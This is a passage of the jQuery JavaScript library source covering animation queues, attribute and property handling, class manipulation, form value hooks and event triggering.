animate: function( prop, speed, easing, callback ) {
|
|
var empty = jQuery.isEmptyObject( prop ),
|
|
optall = jQuery.speed( speed, easing, callback ),
|
|
doAnimation = function() {
|
|
|
|
// Operate on a copy of prop so per-property easing won't be lost
|
|
var anim = Animation( this, jQuery.extend( {}, prop ), optall );
|
|
|
|
// Empty animations, or finishing resolves immediately
|
|
if ( empty || dataPriv.get( this, "finish" ) ) {
|
|
anim.stop( true );
|
|
}
|
|
};
|
|
doAnimation.finish = doAnimation;
|
|
|
|
return empty || optall.queue === false ?
|
|
this.each( doAnimation ) :
|
|
this.queue( optall.queue, doAnimation );
|
|
},
|
|
stop: function( type, clearQueue, gotoEnd ) {
|
|
var stopQueue = function( hooks ) {
|
|
var stop = hooks.stop;
|
|
delete hooks.stop;
|
|
stop( gotoEnd );
|
|
};
|
|
|
|
if ( typeof type !== "string" ) {
|
|
gotoEnd = clearQueue;
|
|
clearQueue = type;
|
|
type = undefined;
|
|
}
|
|
if ( clearQueue && type !== false ) {
|
|
this.queue( type || "fx", [] );
|
|
}
|
|
|
|
return this.each( function() {
|
|
var dequeue = true,
|
|
index = type != null && type + "queueHooks",
|
|
timers = jQuery.timers,
|
|
data = dataPriv.get( this );
|
|
|
|
if ( index ) {
|
|
if ( data[ index ] && data[ index ].stop ) {
|
|
stopQueue( data[ index ] );
|
|
}
|
|
} else {
|
|
for ( index in data ) {
|
|
if ( data[ index ] && data[ index ].stop && rrun.test( index ) ) {
|
|
stopQueue( data[ index ] );
|
|
}
|
|
}
|
|
}
|
|
|
|
for ( index = timers.length; index--; ) {
|
|
if ( timers[ index ].elem === this &&
|
|
( type == null || timers[ index ].queue === type ) ) {
|
|
|
|
timers[ index ].anim.stop( gotoEnd );
|
|
dequeue = false;
|
|
timers.splice( index, 1 );
|
|
}
|
|
}
|
|
|
|
// Start the next in the queue if the last step wasn't forced.
|
|
// Timers currently will call their complete callbacks, which
|
|
// will dequeue but only if they were gotoEnd.
|
|
if ( dequeue || !gotoEnd ) {
|
|
jQuery.dequeue( this, type );
|
|
}
|
|
} );
|
|
},
|
|
finish: function( type ) {
|
|
if ( type !== false ) {
|
|
type = type || "fx";
|
|
}
|
|
return this.each( function() {
|
|
var index,
|
|
data = dataPriv.get( this ),
|
|
queue = data[ type + "queue" ],
|
|
hooks = data[ type + "queueHooks" ],
|
|
timers = jQuery.timers,
|
|
length = queue ? queue.length : 0;
|
|
|
|
// Enable finishing flag on private data
|
|
data.finish = true;
|
|
|
|
// Empty the queue first
|
|
jQuery.queue( this, type, [] );
|
|
|
|
if ( hooks && hooks.stop ) {
|
|
hooks.stop.call( this, true );
|
|
}
|
|
|
|
// Look for any active animations, and finish them
|
|
for ( index = timers.length; index--; ) {
|
|
if ( timers[ index ].elem === this && timers[ index ].queue === type ) {
|
|
timers[ index ].anim.stop( true );
|
|
timers.splice( index, 1 );
|
|
}
|
|
}
|
|
|
|
// Look for any animations in the old queue and finish them
|
|
for ( index = 0; index < length; index++ ) {
|
|
if ( queue[ index ] && queue[ index ].finish ) {
|
|
queue[ index ].finish.call( this );
|
|
}
|
|
}
|
|
|
|
// Turn off finishing flag
|
|
delete data.finish;
|
|
} );
|
|
}
|
|
} );
|
|
|
|
jQuery.each( [ "toggle", "show", "hide" ], function( i, name ) {
|
|
var cssFn = jQuery.fn[ name ];
|
|
jQuery.fn[ name ] = function( speed, easing, callback ) {
|
|
return speed == null || typeof speed === "boolean" ?
|
|
cssFn.apply( this, arguments ) :
|
|
this.animate( genFx( name, true ), speed, easing, callback );
|
|
};
|
|
} );
|
|
|
|
// Generate shortcuts for custom animations
|
|
jQuery.each( {
|
|
slideDown: genFx( "show" ),
|
|
slideUp: genFx( "hide" ),
|
|
slideToggle: genFx( "toggle" ),
|
|
fadeIn: { opacity: "show" },
|
|
fadeOut: { opacity: "hide" },
|
|
fadeToggle: { opacity: "toggle" }
|
|
}, function( name, props ) {
|
|
jQuery.fn[ name ] = function( speed, easing, callback ) {
|
|
return this.animate( props, speed, easing, callback );
|
|
};
|
|
} );
|
|
|
|
jQuery.timers = [];
|
|
jQuery.fx.tick = function() {
|
|
var timer,
|
|
i = 0,
|
|
timers = jQuery.timers;
|
|
|
|
fxNow = Date.now();
|
|
|
|
for ( ; i < timers.length; i++ ) {
|
|
timer = timers[ i ];
|
|
|
|
// Run the timer and safely remove it when done (allowing for external removal)
|
|
if ( !timer() && timers[ i ] === timer ) {
|
|
timers.splice( i--, 1 );
|
|
}
|
|
}
|
|
|
|
if ( !timers.length ) {
|
|
jQuery.fx.stop();
|
|
}
|
|
fxNow = undefined;
|
|
};
|
|
|
|
jQuery.fx.timer = function( timer ) {
|
|
jQuery.timers.push( timer );
|
|
jQuery.fx.start();
|
|
};
|
|
|
|
jQuery.fx.interval = 13;
|
|
jQuery.fx.start = function() {
|
|
if ( inProgress ) {
|
|
return;
|
|
}
|
|
|
|
inProgress = true;
|
|
schedule();
|
|
};
|
|
|
|
jQuery.fx.stop = function() {
|
|
inProgress = null;
|
|
};
|
|
|
|
jQuery.fx.speeds = {
|
|
slow: 600,
|
|
fast: 200,
|
|
|
|
// Default speed
|
|
_default: 400
|
|
};
|
|
|
|
|
|
// Based off of the plugin by Clint Helfers, with permission.
|
|
// https://web.archive.org/web/20100324014747/http://blindsignals.com/index.php/2009/07/jquery-delay/
|
|
jQuery.fn.delay = function( time, type ) {
|
|
time = jQuery.fx ? jQuery.fx.speeds[ time ] || time : time;
|
|
type = type || "fx";
|
|
|
|
return this.queue( type, function( next, hooks ) {
|
|
var timeout = window.setTimeout( next, time );
|
|
hooks.stop = function() {
|
|
window.clearTimeout( timeout );
|
|
};
|
|
} );
|
|
};
|
|
|
|
|
|
( function() {
|
|
var input = document.createElement( "input" ),
|
|
select = document.createElement( "select" ),
|
|
opt = select.appendChild( document.createElement( "option" ) );
|
|
|
|
input.type = "checkbox";
|
|
|
|
// Support: Android <=4.3 only
|
|
// Default value for a checkbox should be "on"
|
|
support.checkOn = input.value !== "";
|
|
|
|
// Support: IE <=11 only
|
|
// Must access selectedIndex to make default options select
|
|
support.optSelected = opt.selected;
|
|
|
|
// Support: IE <=11 only
|
|
// An input loses its value after becoming a radio
|
|
input = document.createElement( "input" );
|
|
input.value = "t";
|
|
input.type = "radio";
|
|
support.radioValue = input.value === "t";
|
|
} )();
|
|
|
|
|
|
var boolHook,
|
|
attrHandle = jQuery.expr.attrHandle;
|
|
|
|
jQuery.fn.extend( {
|
|
attr: function( name, value ) {
|
|
return access( this, jQuery.attr, name, value, arguments.length > 1 );
|
|
},
|
|
|
|
removeAttr: function( name ) {
|
|
return this.each( function() {
|
|
jQuery.removeAttr( this, name );
|
|
} );
|
|
}
|
|
} );
|
|
|
|
jQuery.extend( {
|
|
attr: function( elem, name, value ) {
|
|
var ret, hooks,
|
|
nType = elem.nodeType;
|
|
|
|
// Don't get/set attributes on text, comment and attribute nodes
|
|
if ( nType === 3 || nType === 8 || nType === 2 ) {
|
|
return;
|
|
}
|
|
|
|
// Fallback to prop when attributes are not supported
|
|
if ( typeof elem.getAttribute === "undefined" ) {
|
|
return jQuery.prop( elem, name, value );
|
|
}
|
|
|
|
// Attribute hooks are determined by the lowercase version
|
|
// Grab necessary hook if one is defined
|
|
if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
|
|
hooks = jQuery.attrHooks[ name.toLowerCase() ] ||
|
|
( jQuery.expr.match.bool.test( name ) ? boolHook : undefined );
|
|
}
|
|
|
|
if ( value !== undefined ) {
|
|
if ( value === null ) {
|
|
jQuery.removeAttr( elem, name );
|
|
return;
|
|
}
|
|
|
|
if ( hooks && "set" in hooks &&
|
|
( ret = hooks.set( elem, value, name ) ) !== undefined ) {
|
|
return ret;
|
|
}
|
|
|
|
elem.setAttribute( name, value + "" );
|
|
return value;
|
|
}
|
|
|
|
if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
|
|
return ret;
|
|
}
|
|
|
|
ret = jQuery.find.attr( elem, name );
|
|
|
|
// Non-existent attributes return null, we normalize to undefined
|
|
return ret == null ? undefined : ret;
|
|
},
|
|
|
|
attrHooks: {
|
|
type: {
|
|
set: function( elem, value ) {
|
|
if ( !support.radioValue && value === "radio" &&
|
|
nodeName( elem, "input" ) ) {
|
|
var val = elem.value;
|
|
elem.setAttribute( "type", value );
|
|
if ( val ) {
|
|
elem.value = val;
|
|
}
|
|
return value;
|
|
}
|
|
}
|
|
}
|
|
},
|
|
|
|
removeAttr: function( elem, value ) {
|
|
var name,
|
|
i = 0,
|
|
|
|
// Attribute names can contain non-HTML whitespace characters
|
|
// https://html.spec.whatwg.org/multipage/syntax.html#attributes-2
|
|
attrNames = value && value.match( rnothtmlwhite );
|
|
|
|
if ( attrNames && elem.nodeType === 1 ) {
|
|
while ( ( name = attrNames[ i++ ] ) ) {
|
|
elem.removeAttribute( name );
|
|
}
|
|
}
|
|
}
|
|
} );
|
|
|
|
// Hooks for boolean attributes
|
|
boolHook = {
|
|
set: function( elem, value, name ) {
|
|
if ( value === false ) {
|
|
|
|
// Remove boolean attributes when set to false
|
|
jQuery.removeAttr( elem, name );
|
|
} else {
|
|
elem.setAttribute( name, name );
|
|
}
|
|
return name;
|
|
}
|
|
};
|
|
|
|
jQuery.each( jQuery.expr.match.bool.source.match( /\w+/g ), function( i, name ) {
|
|
var getter = attrHandle[ name ] || jQuery.find.attr;
|
|
|
|
attrHandle[ name ] = function( elem, name, isXML ) {
|
|
var ret, handle,
|
|
lowercaseName = name.toLowerCase();
|
|
|
|
if ( !isXML ) {
|
|
|
|
// Avoid an infinite loop by temporarily removing this function from the getter
|
|
handle = attrHandle[ lowercaseName ];
|
|
attrHandle[ lowercaseName ] = ret;
|
|
ret = getter( elem, name, isXML ) != null ?
|
|
lowercaseName :
|
|
null;
|
|
attrHandle[ lowercaseName ] = handle;
|
|
}
|
|
return ret;
|
|
};
|
|
} );
|
|
|
|
|
|
|
|
|
|
var rfocusable = /^(?:input|select|textarea|button)$/i,
|
|
rclickable = /^(?:a|area)$/i;
|
|
|
|
jQuery.fn.extend( {
|
|
prop: function( name, value ) {
|
|
return access( this, jQuery.prop, name, value, arguments.length > 1 );
|
|
},
|
|
|
|
removeProp: function( name ) {
|
|
return this.each( function() {
|
|
delete this[ jQuery.propFix[ name ] || name ];
|
|
} );
|
|
}
|
|
} );
|
|
|
|
jQuery.extend( {
|
|
prop: function( elem, name, value ) {
|
|
var ret, hooks,
|
|
nType = elem.nodeType;
|
|
|
|
// Don't get/set properties on text, comment and attribute nodes
|
|
if ( nType === 3 || nType === 8 || nType === 2 ) {
|
|
return;
|
|
}
|
|
|
|
if ( nType !== 1 || !jQuery.isXMLDoc( elem ) ) {
|
|
|
|
// Fix name and attach hooks
|
|
name = jQuery.propFix[ name ] || name;
|
|
hooks = jQuery.propHooks[ name ];
|
|
}
|
|
|
|
if ( value !== undefined ) {
|
|
if ( hooks && "set" in hooks &&
|
|
( ret = hooks.set( elem, value, name ) ) !== undefined ) {
|
|
return ret;
|
|
}
|
|
|
|
return ( elem[ name ] = value );
|
|
}
|
|
|
|
if ( hooks && "get" in hooks && ( ret = hooks.get( elem, name ) ) !== null ) {
|
|
return ret;
|
|
}
|
|
|
|
return elem[ name ];
|
|
},
|
|
|
|
propHooks: {
|
|
tabIndex: {
|
|
get: function( elem ) {
|
|
|
|
// Support: IE <=9 - 11 only
|
|
// elem.tabIndex doesn't always return the
|
|
// correct value when it hasn't been explicitly set
|
|
// https://web.archive.org/web/20141116233347/http://fluidproject.org/blog/2008/01/09/getting-setting-and-removing-tabindex-values-with-javascript/
|
|
// Use proper attribute retrieval(#12072)
|
|
var tabindex = jQuery.find.attr( elem, "tabindex" );
|
|
|
|
if ( tabindex ) {
|
|
return parseInt( tabindex, 10 );
|
|
}
|
|
|
|
if (
|
|
rfocusable.test( elem.nodeName ) ||
|
|
rclickable.test( elem.nodeName ) &&
|
|
elem.href
|
|
) {
|
|
return 0;
|
|
}
|
|
|
|
return -1;
|
|
}
|
|
}
|
|
},
|
|
|
|
propFix: {
|
|
"for": "htmlFor",
|
|
"class": "className"
|
|
}
|
|
} );
|
|
|
|
// Support: IE <=11 only
|
|
// Accessing the selectedIndex property
|
|
// forces the browser to respect setting selected
|
|
// on the option
|
|
// The getter ensures a default option is selected
|
|
// when in an optgroup
|
|
// eslint rule "no-unused-expressions" is disabled for this code
|
|
// since it considers such accessions noop
|
|
if ( !support.optSelected ) {
|
|
jQuery.propHooks.selected = {
|
|
get: function( elem ) {
|
|
|
|
/* eslint no-unused-expressions: "off" */
|
|
|
|
var parent = elem.parentNode;
|
|
if ( parent && parent.parentNode ) {
|
|
parent.parentNode.selectedIndex;
|
|
}
|
|
return null;
|
|
},
|
|
set: function( elem ) {
|
|
|
|
/* eslint no-unused-expressions: "off" */
|
|
|
|
var parent = elem.parentNode;
|
|
if ( parent ) {
|
|
parent.selectedIndex;
|
|
|
|
if ( parent.parentNode ) {
|
|
parent.parentNode.selectedIndex;
|
|
}
|
|
}
|
|
}
|
|
};
|
|
}
|
|
|
|
jQuery.each( [
|
|
"tabIndex",
|
|
"readOnly",
|
|
"maxLength",
|
|
"cellSpacing",
|
|
"cellPadding",
|
|
"rowSpan",
|
|
"colSpan",
|
|
"useMap",
|
|
"frameBorder",
|
|
"contentEditable"
|
|
], function() {
|
|
jQuery.propFix[ this.toLowerCase() ] = this;
|
|
} );
|
|
|
|
|
|
|
|
|
|
// Strip and collapse whitespace according to HTML spec
|
|
// https://infra.spec.whatwg.org/#strip-and-collapse-ascii-whitespace
|
|
function stripAndCollapse( value ) {
|
|
var tokens = value.match( rnothtmlwhite ) || [];
|
|
return tokens.join( " " );
|
|
}
|
|
|
|
|
|
function getClass( elem ) {
|
|
return elem.getAttribute && elem.getAttribute( "class" ) || "";
|
|
}
|
|
|
|
function classesToArray( value ) {
|
|
if ( Array.isArray( value ) ) {
|
|
return value;
|
|
}
|
|
if ( typeof value === "string" ) {
|
|
return value.match( rnothtmlwhite ) || [];
|
|
}
|
|
return [];
|
|
}
|
|
|
|
jQuery.fn.extend( {
|
|
addClass: function( value ) {
|
|
var classes, elem, cur, curValue, clazz, j, finalValue,
|
|
i = 0;
|
|
|
|
if ( isFunction( value ) ) {
|
|
return this.each( function( j ) {
|
|
jQuery( this ).addClass( value.call( this, j, getClass( this ) ) );
|
|
} );
|
|
}
|
|
|
|
classes = classesToArray( value );
|
|
|
|
if ( classes.length ) {
|
|
while ( ( elem = this[ i++ ] ) ) {
|
|
curValue = getClass( elem );
|
|
cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " );
|
|
|
|
if ( cur ) {
|
|
j = 0;
|
|
while ( ( clazz = classes[ j++ ] ) ) {
|
|
if ( cur.indexOf( " " + clazz + " " ) < 0 ) {
|
|
cur += clazz + " ";
|
|
}
|
|
}
|
|
|
|
// Only assign if different to avoid unneeded rendering.
|
|
finalValue = stripAndCollapse( cur );
|
|
if ( curValue !== finalValue ) {
|
|
elem.setAttribute( "class", finalValue );
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return this;
|
|
},
|
|
|
|
removeClass: function( value ) {
|
|
var classes, elem, cur, curValue, clazz, j, finalValue,
|
|
i = 0;
|
|
|
|
if ( isFunction( value ) ) {
|
|
return this.each( function( j ) {
|
|
jQuery( this ).removeClass( value.call( this, j, getClass( this ) ) );
|
|
} );
|
|
}
|
|
|
|
if ( !arguments.length ) {
|
|
return this.attr( "class", "" );
|
|
}
|
|
|
|
classes = classesToArray( value );
|
|
|
|
if ( classes.length ) {
|
|
while ( ( elem = this[ i++ ] ) ) {
|
|
curValue = getClass( elem );
|
|
|
|
// This expression is here for better compressibility (see addClass)
|
|
cur = elem.nodeType === 1 && ( " " + stripAndCollapse( curValue ) + " " );
|
|
|
|
if ( cur ) {
|
|
j = 0;
|
|
while ( ( clazz = classes[ j++ ] ) ) {
|
|
|
|
// Remove *all* instances
|
|
while ( cur.indexOf( " " + clazz + " " ) > -1 ) {
|
|
cur = cur.replace( " " + clazz + " ", " " );
|
|
}
|
|
}
|
|
|
|
// Only assign if different to avoid unneeded rendering.
|
|
finalValue = stripAndCollapse( cur );
|
|
if ( curValue !== finalValue ) {
|
|
elem.setAttribute( "class", finalValue );
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return this;
|
|
},
|
|
|
|
toggleClass: function( value, stateVal ) {
|
|
var type = typeof value,
|
|
isValidValue = type === "string" || Array.isArray( value );
|
|
|
|
if ( typeof stateVal === "boolean" && isValidValue ) {
|
|
return stateVal ? this.addClass( value ) : this.removeClass( value );
|
|
}
|
|
|
|
if ( isFunction( value ) ) {
|
|
return this.each( function( i ) {
|
|
jQuery( this ).toggleClass(
|
|
value.call( this, i, getClass( this ), stateVal ),
|
|
stateVal
|
|
);
|
|
} );
|
|
}
|
|
|
|
return this.each( function() {
|
|
var className, i, self, classNames;
|
|
|
|
if ( isValidValue ) {
|
|
|
|
// Toggle individual class names
|
|
i = 0;
|
|
self = jQuery( this );
|
|
classNames = classesToArray( value );
|
|
|
|
while ( ( className = classNames[ i++ ] ) ) {
|
|
|
|
// Check each className given, space separated list
|
|
if ( self.hasClass( className ) ) {
|
|
self.removeClass( className );
|
|
} else {
|
|
self.addClass( className );
|
|
}
|
|
}
|
|
|
|
// Toggle whole class name
|
|
} else if ( value === undefined || type === "boolean" ) {
|
|
className = getClass( this );
|
|
if ( className ) {
|
|
|
|
// Store className if set
|
|
dataPriv.set( this, "__className__", className );
|
|
}
|
|
|
|
// If the element has a class name or if we're passed `false`,
|
|
// then remove the whole classname (if there was one, the above saved it).
|
|
// Otherwise bring back whatever was previously saved (if anything),
|
|
// falling back to the empty string if nothing was stored.
|
|
if ( this.setAttribute ) {
|
|
this.setAttribute( "class",
|
|
className || value === false ?
|
|
"" :
|
|
dataPriv.get( this, "__className__" ) || ""
|
|
);
|
|
}
|
|
}
|
|
} );
|
|
},
|
|
|
|
hasClass: function( selector ) {
|
|
var className, elem,
|
|
i = 0;
|
|
|
|
className = " " + selector + " ";
|
|
while ( ( elem = this[ i++ ] ) ) {
|
|
if ( elem.nodeType === 1 &&
|
|
( " " + stripAndCollapse( getClass( elem ) ) + " " ).indexOf( className ) > -1 ) {
|
|
return true;
|
|
}
|
|
}
|
|
|
|
return false;
|
|
}
|
|
} );
|
|
|
|
|
|
|
|
|
|
var rreturn = /\r/g;
|
|
|
|
jQuery.fn.extend( {
|
|
val: function( value ) {
|
|
var hooks, ret, valueIsFunction,
|
|
elem = this[ 0 ];
|
|
|
|
if ( !arguments.length ) {
|
|
if ( elem ) {
|
|
hooks = jQuery.valHooks[ elem.type ] ||
|
|
jQuery.valHooks[ elem.nodeName.toLowerCase() ];
|
|
|
|
if ( hooks &&
|
|
"get" in hooks &&
|
|
( ret = hooks.get( elem, "value" ) ) !== undefined
|
|
) {
|
|
return ret;
|
|
}
|
|
|
|
ret = elem.value;
|
|
|
|
// Handle most common string cases
|
|
if ( typeof ret === "string" ) {
|
|
return ret.replace( rreturn, "" );
|
|
}
|
|
|
|
// Handle cases where value is null/undef or number
|
|
return ret == null ? "" : ret;
|
|
}
|
|
|
|
return;
|
|
}
|
|
|
|
valueIsFunction = isFunction( value );
|
|
|
|
return this.each( function( i ) {
|
|
var val;
|
|
|
|
if ( this.nodeType !== 1 ) {
|
|
return;
|
|
}
|
|
|
|
if ( valueIsFunction ) {
|
|
val = value.call( this, i, jQuery( this ).val() );
|
|
} else {
|
|
val = value;
|
|
}
|
|
|
|
// Treat null/undefined as ""; convert numbers to string
|
|
if ( val == null ) {
|
|
val = "";
|
|
|
|
} else if ( typeof val === "number" ) {
|
|
val += "";
|
|
|
|
} else if ( Array.isArray( val ) ) {
|
|
val = jQuery.map( val, function( value ) {
|
|
return value == null ? "" : value + "";
|
|
} );
|
|
}
|
|
|
|
hooks = jQuery.valHooks[ this.type ] || jQuery.valHooks[ this.nodeName.toLowerCase() ];
|
|
|
|
// If set returns undefined, fall back to normal setting
|
|
if ( !hooks || !( "set" in hooks ) || hooks.set( this, val, "value" ) === undefined ) {
|
|
this.value = val;
|
|
}
|
|
} );
|
|
}
|
|
} );
|
|
|
|
jQuery.extend( {
|
|
valHooks: {
|
|
option: {
|
|
get: function( elem ) {
|
|
|
|
var val = jQuery.find.attr( elem, "value" );
|
|
return val != null ?
|
|
val :
|
|
|
|
// Support: IE <=10 - 11 only
|
|
// option.text throws exceptions (#14686, #14858)
|
|
// Strip and collapse whitespace
|
|
// https://html.spec.whatwg.org/#strip-and-collapse-whitespace
|
|
stripAndCollapse( jQuery.text( elem ) );
|
|
}
|
|
},
|
|
select: {
|
|
get: function( elem ) {
|
|
var value, option, i,
|
|
options = elem.options,
|
|
index = elem.selectedIndex,
|
|
one = elem.type === "select-one",
|
|
values = one ? null : [],
|
|
max = one ? index + 1 : options.length;
|
|
|
|
if ( index < 0 ) {
|
|
i = max;
|
|
|
|
} else {
|
|
i = one ? index : 0;
|
|
}
|
|
|
|
// Loop through all the selected options
|
|
for ( ; i < max; i++ ) {
|
|
option = options[ i ];
|
|
|
|
// Support: IE <=9 only
|
|
// IE8-9 doesn't update selected after form reset (#2551)
|
|
if ( ( option.selected || i === index ) &&
|
|
|
|
// Don't return options that are disabled or in a disabled optgroup
|
|
!option.disabled &&
|
|
( !option.parentNode.disabled ||
|
|
!nodeName( option.parentNode, "optgroup" ) ) ) {
|
|
|
|
// Get the specific value for the option
|
|
value = jQuery( option ).val();
|
|
|
|
// We don't need an array for one selects
|
|
if ( one ) {
|
|
return value;
|
|
}
|
|
|
|
// Multi-Selects return an array
|
|
values.push( value );
|
|
}
|
|
}
|
|
|
|
return values;
|
|
},
|
|
|
|
set: function( elem, value ) {
|
|
var optionSet, option,
|
|
options = elem.options,
|
|
values = jQuery.makeArray( value ),
|
|
i = options.length;
|
|
|
|
while ( i-- ) {
|
|
option = options[ i ];
|
|
|
|
/* eslint-disable no-cond-assign */
|
|
|
|
if ( option.selected =
|
|
jQuery.inArray( jQuery.valHooks.option.get( option ), values ) > -1
|
|
) {
|
|
optionSet = true;
|
|
}
|
|
|
|
/* eslint-enable no-cond-assign */
|
|
}
|
|
|
|
// Force browsers to behave consistently when non-matching value is set
|
|
if ( !optionSet ) {
|
|
elem.selectedIndex = -1;
|
|
}
|
|
return values;
|
|
}
|
|
}
|
|
}
|
|
} );
|
|
|
|
// Radios and checkboxes getter/setter
|
|
jQuery.each( [ "radio", "checkbox" ], function() {
|
|
jQuery.valHooks[ this ] = {
|
|
set: function( elem, value ) {
|
|
if ( Array.isArray( value ) ) {
|
|
return ( elem.checked = jQuery.inArray( jQuery( elem ).val(), value ) > -1 );
|
|
}
|
|
}
|
|
};
|
|
if ( !support.checkOn ) {
|
|
jQuery.valHooks[ this ].get = function( elem ) {
|
|
return elem.getAttribute( "value" ) === null ? "on" : elem.value;
|
|
};
|
|
}
|
|
} );
|
|
|
|
|
|
|
|
|
|
// Return jQuery for attributes-only inclusion
|
|
|
|
|
|
support.focusin = "onfocusin" in window;
|
|
|
|
|
|
var rfocusMorph = /^(?:focusinfocus|focusoutblur)$/,
|
|
stopPropagationCallback = function( e ) {
|
|
e.stopPropagation();
|
|
};
|
|
|
|
jQuery.extend( jQuery.event, {
|
|
|
|
trigger: function( event, data, elem, onlyHandlers ) {
|
|
|
|
var i, cur, tmp, bubbleType, ontype, handle, special, lastElement,
|
|
eventPath = [ elem || document ],
|
|
type = hasOwn.call( event, "type" ) ? event.type : event,
|
|
namespaces = hasOwn.call( event, "namespace" ) ? event.namespace.split( "." ) : [];
|
|
|
|
cur = lastElement = tmp = elem = elem || document;
|
|
|
|
// Don't do events on text and comment nodes
|
|
if ( elem.nodeType === 3 || elem.nodeType === 8 ) {
|
|
return;
|
|
}
|
|
|
|
// focus/blur morphs to focusin/out; ensure we're not firing them right now
|
|
if ( rfocusMorph.test( type + jQuery.event.triggered ) ) {
|
|
return;
|
|
}
|
|
|
|
if ( type.indexOf( "." ) > -1 ) {
|
|
|
|
// Namespaced trigger; create a regexp to match event type in handle()
|
|
namespaces = type.split( "." );
|
|
type = namespaces.shift();
|
|
namespaces.sort();
|
|
}
|
|
ontype = type.indexOf( ":" ) < 0 && "on" + type;
|
|
|
|
// Caller can pass in a jQuery.Event object, Object, or just an event type string
|
|
event = event[ jQuery.expando ] ?
|
|
event :
|
|
new jQuery.Event( type, typeof event === "object" && event );
|
|
|
|
// Trigger bitmask: & 1 for native handlers; & 2 for jQuery (always true)
|
|
event.isTrigger = onlyHandlers ? 2 : 3;
|
|
event.namespace = namespaces.join( "." );
|
|
event.rnamespace = event.namespace ?
|
|
new RegExp( "(^|\\.)" + namespaces.join( "\\.(?:.*\\.|)" ) + "(\\.|$)" ) :
|
|
null;
|
|
|
|
// Clean up the event in case it is being reused
|
|
event.result = undefined;
|
|
if ( !event.target ) {
|
|
event.target = elem;
|
|
}
|
|
|
|
// Clone any incoming data and prepend the event, creating the handler arg list
|
|
data = data == null ?
|
|
[ event ] :
|
|
jQuery.makeArray( data, [ event ] );
|
|
|
|
// Allow special events to draw outside the lines
|
|
special = jQuery.event.special[ type ] || {};
|
|
if ( !onlyHandlers && special.trigger && special.trigger.apply( elem, data ) === false ) {
|
|
return;
|
|
}
|
|
|
|
// Determine event propagation path in advance, per W3C events spec (#9951)
|
|
// Bubble up to document, then to window; watch for a global ownerDocument var (#9724)
|
|
if ( !onlyHandlers && !special.noBubble && !isWindow( elem ) ) {
|
|
|
|
bubbleType = special.delegateType || type;
|
|
if ( !rfocusMorph.test( bubbleType + type ) ) {
|
|
cur = cur.parentNode;
|
|
}
|
|
for ( ; cur; cur = cur.parentNode ) {
|
|
eventPath.push( cur );
|
|
tmp = cur;
|
|
}
|
|
|
|
// Only add window if we got to document (e.g., not plain obj or detached DOM)
|
|
if ( tmp === ( elem.ownerDocument || document ) ) {
|
|
eventPath.push( tmp.defaultView || tmp.parentWindow || window );
|
|
}
|
|
}
|
|
|
|
// Fire handlers on the event path
|
|
i = 0;
|
|
while ( ( cur = eventPath[ i++ ] ) && !event.isPropagationStopped() ) {
|
|
lastElement = cur;
|
|
event.type = i > 1 ?
|
|
bubbleType :
|
|
special.bindType || type;
|
|
|
|
// jQuery handler
|
|
handle = ( dataPriv.get( cur, "events" ) || {} )[ event.type ] &&
|
|
dataPriv.get( cur, "handle" );
|
|
if ( handle ) {
|
|
handle.apply( cur, data );
|
|
}
|
|
|
|
// Native handler
|
|
handle = ontype && cur[ ontype ];
|
|
if ( handle && handle.apply && acceptData( cur ) ) {
|
|
event.result = handle.apply( cur, data );
|
|
if ( event.result === false ) {
|
|
event.preventDefault();
|
|
}
|
|
}
|
|
}
|
|
event.type = type;
|
|
|
|
// If nobody prevented the default action, do it now
|
|
if ( !onlyHandlers && !event.isDefaultPrevented() ) {
|
|
|
|
if ( ( !special._default ||
|
|
special._default.apply( eventPath.pop(), data ) === false ) &&
|
|
acceptData( elem ) ) {
|
|
|
|
// Call a native DOM method on the target with the same name as the event.
|
|
// Don't do default actions on window, that's where global variables be (#6170)
|
|
if ( ontype && isFunction( elem[ type ] ) && !isWindow( elem ) ) {
|
|
|
|
// Don't re-trigger an onFOO event when we call its FOO() method
|
|
tmp = elem[ ontype ];
|
|
|
|
if ( tmp ) {
|
|
elem[ ontype ] = null;
|
|
}
|
|
|
|
// Prevent re-triggering of the same event, since we already bubbled it above
|
|
jQuery.event.triggered = type;
|
|
|
|
if ( event.isPropagationStopped() ) {
|
|
lastElement.addEventListener( type, stopPropagationCallback );
|
|
}
|
|
|
|
elem[ type ]();
|
|
|
|
if ( event.isPropagationStopped() ) {
|
|
lastElement.removeEventListener( type, stopPropagationCallback );
|
|
}
|
|
|
|
jQuery.event.triggered = undefined;
|
|
|
|
if ( tmp ) {
|
|
elem[ ontype ] = tmp;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
return event.result;
|
|
},
|
|
|
|
// Piggyback on a donor event to simulate a different one
|
|
// Used only for `focus(in | out)` events
|
|
simulate: function( type, elem, event ) {
|
|
var e = jQuery.extend(
|
|
new jQuery.Event(),
|
|
event,
|
|
{
|
|
type: type,
|
|
isSimulated: true
|
|
}
|
|
);
|
|
|
|
jQuery.event.trigger( e, null, elem );
|
|
}
|
|
|
|
} );
|
|
|
|
jQuery.fn.extend( {
|
|
|
|
trigger: function( type, data ) {
|
|
return this.each( function() {
|
|
jQuery.event.trigger( type, data, this );
|
|
} );
|
|
},
|
|
triggerHandler: function( type, data ) {
|
|
var elem = this[ 0 ];
|
|
if ( elem ) {
|
|
return jQuery.event.trigger( type, data, elem, true );
|
|
}
|
|
}
|
|
} );
|
|
|
|
|
|
// Support: Firefox <=44
|
|
// Firefox doesn't have focus(in | out) events
|
|
// Related ticket - https://bugzilla.mozilla.org/show_bug.cgi?id=687787
|
|
//
|
|
// Support: Chrome <=48 - 49, Safari <=9.0 - 9.1
|
|
// focus(in | out) events fire after focus & blur events,
|
|
// which is spec violation - http://www.w3.org/TR/DOM-Level-3-Events/#events-focusevent-event-order
|
|
// Related ticket - https://bugs.chromium.org/p/chromium/issues/detail?id=449857
|
|
if ( !support.focusin ) {
|
|
jQuery.each( { focus: "focusin", blur: "focusout" }, function( orig, fix ) {
|
|
|
|
// Attach a single capturing handler on the document while someone wants focusin/focusout
|
|
var handler = function( event ) {
|
|
jQuery.event.simulate( fix, event.target, jQuery.event.fix( event ) );
|
|
};
|
|
|
|
jQuery.event.special[ fix ] = {
|
|
setup: function() {
|
|
var doc = this.ownerDocument || this,
|
|
attaches = dataPriv.access( doc, fix );
|
|
|
|
if ( !attaches ) {
|
|
doc.addEventListener( orig, handler, true );
|
|
}
|
|
